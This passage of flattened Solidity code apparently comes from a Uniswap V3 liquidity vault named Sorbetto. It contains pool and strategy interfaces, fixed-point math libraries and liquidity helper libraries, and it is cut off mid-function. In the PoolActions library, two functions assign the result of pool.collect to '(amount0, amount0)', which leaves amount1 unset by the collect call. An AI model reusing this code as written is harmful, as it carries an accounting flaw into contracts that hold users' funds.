parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); } pragma solidity >=0.5.0; /// @title Pool state that can change /// @notice These methods compose the pool's state, and can change with any frequency including multiple times /// per transaction interface IUniswapV3PoolState { /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); } pragma solidity 0.7.6; interface ISorbettoFragola { /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @return The address of the Uniswap V3 Pool function pool03() external view returns (IUniswapV3Pool); /// @notice Universal multiplier to calc shares for all users /// @return universal multiplier function universalMultiplier() external view returns (uint256); /// @notice The lower tick of the range function tickLower() external view returns (int24); /// @notice The upper tick of the range function tickUpper() external view returns (int24); /** * @notice Deposits tokens in proportion to the Sorbetto's current ticks. * @param amount0Desired Max amount of token0 to deposit * @param amount1Desired Max amount of token1 to deposit * @return shares minted * @return amount0 Amount of token0 deposited * @return amount1 Amount of token1 deposited */ function deposit(uint256 amount0Desired, uint256 amount1Desired) external payable returns (uint256 shares, uint256 amount0,uint256 amount1); /** * @notice Withdraws tokens in proportion to the Sorbetto's holdings. * @dev Removes proportional amount of liquidity from Uniswap. * @param shares burned by sender * @return amount0 Amount of token0 sent to recipient * @return amount1 Amount of token1 sent to recipient */ function withdraw(uint256 shares) external returns (uint256 amount0, uint256 amount1); /** * @notice Updates sorbetto's positions. * @dev Finds base position and limit position for imbalanced token * mints all amounts to this position(including earned fees) */ function rerange() external; /** * @notice Updates sorbetto's positions. Can only be called by the governance. * @dev Swaps imbalanced token. Finds base position and limit position for imbalanced token if * we don't have balance during swap because of price impact. * mints all amounts to this position(including earned fees) */ function rebalance() external; } pragma solidity 0.7.6; interface ISorbettoStrategy { /// @notice Period of time that we observe for price slippage /// @return time in seconds function twapDuration() external view returns (uint32); /// @notice Maximum deviation of time waited avarage price in ticks function maxTwapDeviation() external view returns (int24); /// @notice Tick multuplier for base range calculation function tickRangeMultiplier() external view returns (int24); /// @notice The protocol's fee denominated in hundredths of a bip, i.e. 1e-6 /// @return The fee function protocolFee() external view returns (uint24); /// @notice The price impact percentage during swap denominated in hundredths of a bip, i.e. 1e-6 /// @return The max price impact percentage function priceImpactPercentage() external view returns (uint24); } pragma solidity >=0.5.0; /// @title The interface for a Uniswap V3 Pool /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @dev The pool interface is broken up into many smaller pieces interface IUniswapV3Pool is IUniswapV3PoolImmutables, IUniswapV3PoolState, IUniswapV3PoolDerivedState, IUniswapV3PoolActions { } pragma solidity >=0.4.0; // computes square roots using the babylonian method // https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method library Babylonian { // credit for this implementation goes to // https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687 function sqrt(uint256 x) internal pure returns (uint256) { if (x == 0) return 0; // this block is equivalent to r = uint256(1) << (BitMath.mostSignificantBit(x) / 2); // however that code costs significantly more gas uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return (r < r1 ? r : r1); } } pragma solidity >=0.7.0; /// @title Function for getting the current chain ID library ChainId { /// @dev Gets the current chain ID /// @return chainId The current chain ID function get() internal pure returns (uint256 chainId) { assembly { chainId := chainid() } } } pragma solidity =0.7.6; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ISS"); require(v == 27 || v == 28, "ISV"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "IS"); return signer; } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } pragma solidity ^0.7.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {LowGasSafeMAth} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using LowGasSafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {LowGasSafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } } pragma solidity >=0.4.0; /// @title FixedPoint96 /// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format) /// @dev Used in SqrtPriceMath.sol library FixedPoint96 { uint8 internal constant RESOLUTION = 96; uint256 internal constant Q96 = 0x1000000000000000000000000; } pragma solidity >=0.4.0; /// @title FixedPoint128 /// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format) library FixedPoint128 { uint256 internal constant Q128 = 0x100000000000000000000000000000000; } pragma solidity >=0.4.0; /// @title Contains 512-bit math functions /// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision /// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits library FullMath { /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv function mulDiv( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { // 512-bit multiply [prod1 prod0] = a * b // Compute the product mod 2**256 and mod 2**256 - 1 // then use the Chinese Remainder Theorem to reconstruct // the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2**256 + prod0 uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(a, b, not(0)) prod0 := mul(a, b) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division if (prod1 == 0) { require(denominator > 0); assembly { result := div(prod0, denominator) } return result; } // Make sure the result is less than 2**256. // Also prevents denominator == 0 require(denominator > prod1); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0] // Compute remainder using mulmod uint256 remainder; assembly { remainder := mulmod(a, b, denominator) } // Subtract 256 bit number from 512 bit number assembly { prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator // Compute largest power of two divisor of denominator. // Always >= 1. uint256 twos = -denominator & denominator; // Divide denominator by power of two assembly { denominator := div(denominator, twos) } // Divide [prod1 prod0] by the factors of two assembly { prod0 := div(prod0, twos) } // Shift in bits from prod1 into prod0. For this we need // to flip `twos` such that it is 2**256 / twos. // If twos is zero, then it becomes one assembly { twos := add(div(sub(0, twos), twos), 1) } prod0 |= prod1 * twos; // Invert denominator mod 2**256 // Now that denominator is an odd number, it has an inverse // modulo 2**256 such that denominator * inv = 1 mod 2**256. // Compute the inverse by starting with a seed that is correct // correct for four bits. That is, denominator * inv = 1 mod 2**4 uint256 inv = (3 * denominator) ^ 2; // Now use Newton-Raphson iteration to improve the precision. // Thanks to Hensel's lifting lemma, this also works in modular // arithmetic, doubling the correct bits in each step. inv *= 2 - denominator * inv; // inverse mod 2**8 inv *= 2 - denominator * inv; // inverse mod 2**16 inv *= 2 - denominator * inv; // inverse mod 2**32 inv *= 2 - denominator * inv; // inverse mod 2**64 inv *= 2 - denominator * inv; // inverse mod 2**128 inv *= 2 - denominator * inv; // inverse mod 2**256 // Because the division is now exact we can divide by multiplying // with the modular inverse of denominator. This will give us the // correct result modulo 2**256. Since the precoditions guarantee // that the outcome is less than 2**256, this is the final result. // We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inv; return result; } /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result function mulDivRoundingUp( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { result = mulDiv(a, b, denominator); if (mulmod(a, b, denominator) > 0) { require(result < type(uint256).max); result++; } } } pragma solidity >=0.5.0; /// @title Liquidity amount functions /// @notice Provides functions for computing liquidity amounts from token amounts and prices library LiquidityAmounts { /// @notice Downcasts uint256 to uint128 /// @param x The uint258 to be downcasted /// @return y The passed value, downcasted to uint128 function toUint128(uint256 x) private pure returns (uint128 y) { require((y = uint128(x)) == x); } /// @notice Computes the amount of liquidity received for a given amount of token0 and price range /// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount0 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount0( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96); return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the amount of liquidity received for a given amount of token1 and price range /// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)). /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount1 The amount1 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount1( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount of token0 being sent in /// @param amount1 The amount of token1 being sent in /// @return liquidity The maximum amount of liquidity received function getLiquidityForAmounts( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0); } else if (sqrtRatioX96 < sqrtRatioBX96) { uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0); uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1); liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1; } else { liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1); } } /// @notice Computes the amount of token0 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 function getAmount0ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv( uint256(liquidity) << FixedPoint96.RESOLUTION, sqrtRatioBX96 - sqrtRatioAX96, sqrtRatioBX96 ) / sqrtRatioAX96; } /// @notice Computes the amount of token1 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount1 The amount of token1 function getAmount1ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96); } /// @notice Computes the token0 and token1 value for a given amount of liquidity, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 /// @return amount1 The amount of token1 function getAmountsForLiquidity( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0, uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } else if (sqrtRatioX96 < sqrtRatioBX96) { amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity); amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity); } else { amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } } } pragma solidity >=0.7.0; /// @title Optimized overflow and underflow safe math operations /// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost library LowGasSafeMath { /// @notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y, string memory errorMessage) internal pure returns (uint256 z) { require((z = x - y) <= x, errorMessage); } /// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); } /// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); } /// @notice Returns x + y, reverts if sum overflows uint128 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add128(uint128 x, uint128 y) internal pure returns (uint128 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub128(uint128 x, uint128 y) internal pure returns (uint128 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul128(uint128 x, uint128 y) internal pure returns (uint128 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x + y, reverts if sum overflows uint128 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add160(uint160 x, uint160 y) internal pure returns (uint160 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub160(uint160 x, uint160 y) internal pure returns (uint160 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul160(uint160 x, uint160 y) internal pure returns (uint160 z) { require(x == 0 || (z = x * y) / x == y); } } pragma solidity 0.7.6; pragma abicoder v2; /// @title This library is created to conduct a variety of burn liquidity methods library PoolActions { using PoolVariables for IUniswapV3Pool; using LowGasSafeMath for uint256; using SafeCast for uint256; /** * @notice Withdraws liquidity in share proportion to the Sorbetto's totalSupply. * @param pool Uniswap V3 pool * @param tickLower The lower tick of the range * @param tickUpper The upper tick of the range * @param totalSupply The amount of total shares in existence * @param share to burn * @param to Recipient of amounts * @return amount0 Amount of token0 withdrawed * @return amount1 Amount of token1 withdrawed */ function burnLiquidityShare( IUniswapV3Pool pool, int24 tickLower, int24 tickUpper, uint256 totalSupply, uint256 share, address to ) internal returns (uint256 amount0, uint256 amount1) { require(totalSupply > 0, "TS"); uint128 liquidityInPool = pool.positionLiquidity(tickLower, tickUpper); uint256 liquidity = uint256(liquidityInPool).mul(share) / totalSupply; if (liquidity > 0) { (amount0, amount1) = pool.burn(tickLower, tickUpper, liquidity.toUint128()); if (amount0 > 0 || amount1 > 0) { // collect liquidity share (amount0, amount0) = pool.collect( to, tickLower, tickUpper, amount0.toUint128(), amount1.toUint128() ); } } } /** * @notice Withdraws exact amount of liquidity * @param pool Uniswap V3 pool * @param tickLower The lower tick of the range * @param tickUpper The upper tick of the range * @param liquidity to burn * @param to Recipient of amounts * @return amount0 Amount of token0 withdrawed * @return amount1 Amount of token1 withdrawed */ function burnExactLiquidity( IUniswapV3Pool pool, int24 tickLower, int24 tickUpper, uint128 liquidity, address to ) internal returns (uint256 amount0, uint256 amount1) { uint128 liquidityInPool = pool.positionLiquidity(tickLower, tickUpper); require(liquidityInPool >= liquidity); (amount0, amount1) = pool.burn(tickLower, tickUpper, liquidity); if (amount0 > 0 || amount1 > 0) { // collect liquidity share including earned fees (amount0, amount0) = pool.collect( to, tickLower, tickUpper, amount0.toUint128(), amount1.toUint128() ); } } /** * @notice Withdraws all liquidity in a range from Uniswap pool * @param pool Uniswap V3 pool * @param tickLower The lower tick of the range * @param tickUpper The upper tick of the range */ function burnAllLiquidity( IUniswapV3Pool pool, int24 tickLower, int24 tickUpper ) internal { // Burn all liquidity in this range uint128 liquidity = pool.positionLiquidity(tickLower, tickUpper); if (liquidity > 0) { pool.burn(tickLower, tickUpper, liquidity); } // Collect all owed tokens pool.collect( address(this), tickLower, tickUpper, type(uint128).max, type(uint128).max ); } } pragma solidity >=0.5.0; /// @title Liquidity and ticks functions /// @notice Provides functions for computing liquidity and ticks for token amounts and prices library PoolVariables { using LowGasSafeMath for uint256; // Cache struct for calculations struct Info { uint256 amount0Desired; uint256 amount1Desired; uint256 amount0; uint256 amount1; uint128 liquidity; int24 tickLower; int24 tickUpper; } /// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`. /// @param pool Uniswap V3 pool /// @param liquidity The liquidity being valued /// @param _tickLower The lower tick of the range /// @param _tickUpper The upper tick of the range /// @return amounts of token0 and token1 that corresponds to liquidity function amountsForLiquidity( IUniswapV3Pool pool, uint128 liquidity, int24 _tickLower, int24 _tickUpper ) internal view returns (uint256, uint256) { //Get current price from the pool (uint160 sqrtRatioX96, , , , , , ) = pool.slot0(); return LiquidityAmounts.getAmountsForLiquidity( sqrtRatioX96, TickMath.getSqrtRatioAtTick(_tickLower), TickMath.getSqrtRatioAtTick(_tickUpper), liquidity ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmounts()`. /// @param pool Uniswap V3 pool /// @param amount0 The amount of token0 /// @param amount1 The amount of token1 /// @param _tickLower The lower tick of the range /// @param _tickUpper The upper tick of the range /// @return The maximum amount of liquidity that can be held amount0 and amount1 function liquidityForAmounts( IUniswapV3Pool pool, uint256 amount0, uint256 amount1, int24 _tickLower, int24 _tickUpper ) internal view returns (uint128) { //Get current price from the pool (uint160 sqrtRatioX96, , , , , , ) = pool.slot0(); return LiquidityAmounts.getLiquidityForAmounts( sqrtRatioX96, TickMath.getSqrtRatioAtTick(_tickLower), TickMath.getSqrtRatioAtTick(_tickUpper), amount0, amount1 ); } /// @dev Amounts of token0 and token1 held in contract position. /// @param pool Uniswap V3 pool /// @param _tickLower The lower tick of the range /// @param _tickUpper The upper tick of the range /// @return amount0 The amount of token0 held in position /// @return amount1 The amount of token1 held in position function positionAmounts(IUniswapV3Pool pool, int24 _tickLower, int24 _tickUpper) internal view returns (uint256 amount0, uint256 amount1) { //Compute position key bytes32 positionKey = PositionKey.compute(address(this), _tickLower, _tickUpper); //Get Position.Info for specified ticks (uint128 liquidity, , , uint128 tokensOwed0, uint128 tokensOwed1) = pool.positions(positionKey); // Calc amounts of token0 and token1 including fees (amount0, amount1) = amountsForLiquidity(pool, liquidity, _tickLower, _tickUpper); amount0 = amount0.add(uint256(tokensOwed0)); amount1 = amount1.add(uint256(tokensOwed1)); } /// @dev Amount of liquidity in contract position. /// @param pool Uniswap V3 pool /// @param _tickLower The lower tick of the range /// @param _tickUpper The upper tick of the range /// @return liquidity stored in position function positionLiquidity(IUniswapV3Pool pool, int24 _tickLower, int24 _tickUpper) internal view returns (uint128 liquidity) { //Compute position key bytes32 positionKey = PositionKey.compute(address(this), _tickLower, _tickUpper); //Get liquidity stored in position (liquidity, , , , ) = pool.positions(positionKey); } /// @dev Common checks for valid tick inputs. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range function checkRange(int24 tickLower, int24 tickUpper) internal pure { require(tickLower < tickUpper, "TLU"); require(tickLower >= TickMath.MIN_TICK, "TLM"); require(tickUpper <= TickMath.MAX_TICK, "TUM"); } /// @dev Rounds tick down towards negative infinity so that it's a multiple /// of `tickSpacing`. function floor(int24 tick, int24 tickSpacing) internal pure returns (int24) { int24 compressed = tick / tickSpacing; if (tick < 0 && tick % tickSpacing != 0) compressed--; return compressed * tickSpacing; } /// @dev Gets ticks with proportion equivalent to desired amount /// @param pool Uniswap V3 pool /// @param amount0Desired The desired amount of token0 /// @param amount1Desired The desired amount of token1 /// @param baseThreshold The range for upper and lower ticks /// @param tickSpacing The pool tick spacing /// @return tickLower The lower tick of the range /// @return tickUpper The upper tick of the range function getPositionTicks(IUniswapV3Pool pool, uint256 amount0Desired, uint256 amount1Desired, int24 baseThreshold, int24 tickSpacing) internal view returns(int24 tickLower, int24 tickUpper) { Info memory cache = Info(amount0Desired, amount1Desired, 0, 0, 0, 0, 0); // Get current price and tick from the pool ( uint160 sqrtPriceX96, int24 currentTick, , , , , ) = pool.slot0(); //Calc base ticks (cache.tickLower, cache.tickUpper) = baseTicks(currentTick, baseThreshold, tickSpacing); //Calc amounts of token0 and token1 that can be stored in base range (cache.amount0, cache.amount1) = amountsForTicks(pool, cache.amount0Desired, cache.amount1Desired, cache.tickLower, cache.tickUpper); //Liquidity that can be stored in base range cache.liquidity = liquidityForAmounts(pool, cache.amount0, cache.amount1, cache.tickLower, cache.tickUpper); //Get imbalanced token bool zeroGreaterOne = amountsDirection(cache.amount0Desired, cache.amount1Desired, cache.amount0, cache.amount1); //Calc new tick(upper or lower) for imbalanced token if ( zeroGreaterOne) { uint160 nextSqrtPrice0 = SqrtPriceMath.getNextSqrtPriceFromAmount0RoundingUp(sqrtPriceX96, cache.liquidity, cache.amount0Desired, false); cache.tickUpper = PoolVariables.floor(TickMath.getTickAtSqrtRatio(nextSqrtPrice0), tickSpacing); } else{ uint160 nextSqrtPrice1 = SqrtPriceMath.getNextSqrtPriceFromAmount1RoundingDown(sqrtPriceX96, cache.liquidity, cache.amount1Desired, false); cache.tickLower = PoolVariables.floor(TickMath.getTickAtSqrtRatio(nextSqrtPrice1), tickSpacing); } checkRange(cache.tickLower, cache.tickUpper); tickLower = cache.tickLower; tickUpper = cache.tickUpper; } /// @dev Gets amounts of token0 and token1 that can be stored in range of upper and lower ticks /// @param pool Uniswap V3 pool /// @param amount0Desired The desired amount of token0 /// @param amount1Desired The desired amount of token1 /// @param _tickLower The lower tick of the range /// @param _tickUpper The upper tick of the range /// @return amount0 amounts of token0 that can be stored in range /// @return amount1 amounts of token1 that can be stored in range function amountsForTicks(IUniswapV3Pool pool, uint256 amount0Desired, uint256 amount1Desired, int24 _tickLower, int24 _tickUpper) internal view returns(uint256 amount0, uint256 amount1) { uint128 liquidity = liquidityForAmounts(pool, amount0Desired, amount1Desired, _tickLower, _tickUpper); (amount0, amount1) = amountsForLiquidity(pool, liquidity, _tickLower, _tickUpper); } /// @dev Calc base ticks depending on base threshold and tickspacing function baseTicks(int24 currentTick, int24 baseThreshold, int24 tickSpacing) internal pure returns(int24 tickLower, int24 tickUpper) { int24 tickFloor = floor(currentTick, tickSpacing); tickLower = tickFloor - baseThreshold; tickUpper = tickFloor + baseThreshold; } /// @dev Get imbalanced token /// @param amount0Desired The desired amount of token0 /// @param amount1Desired The desired amount of token1 /// @param amount0 Amounts of token0 that can be stored in base range /// @param amount1 Amounts of token1 that can be stored in base range /// @return zeroGreaterOne true if token0 is imbalanced. False if token1 is imbalanced function amountsDirection(uint256 amount0Desired, 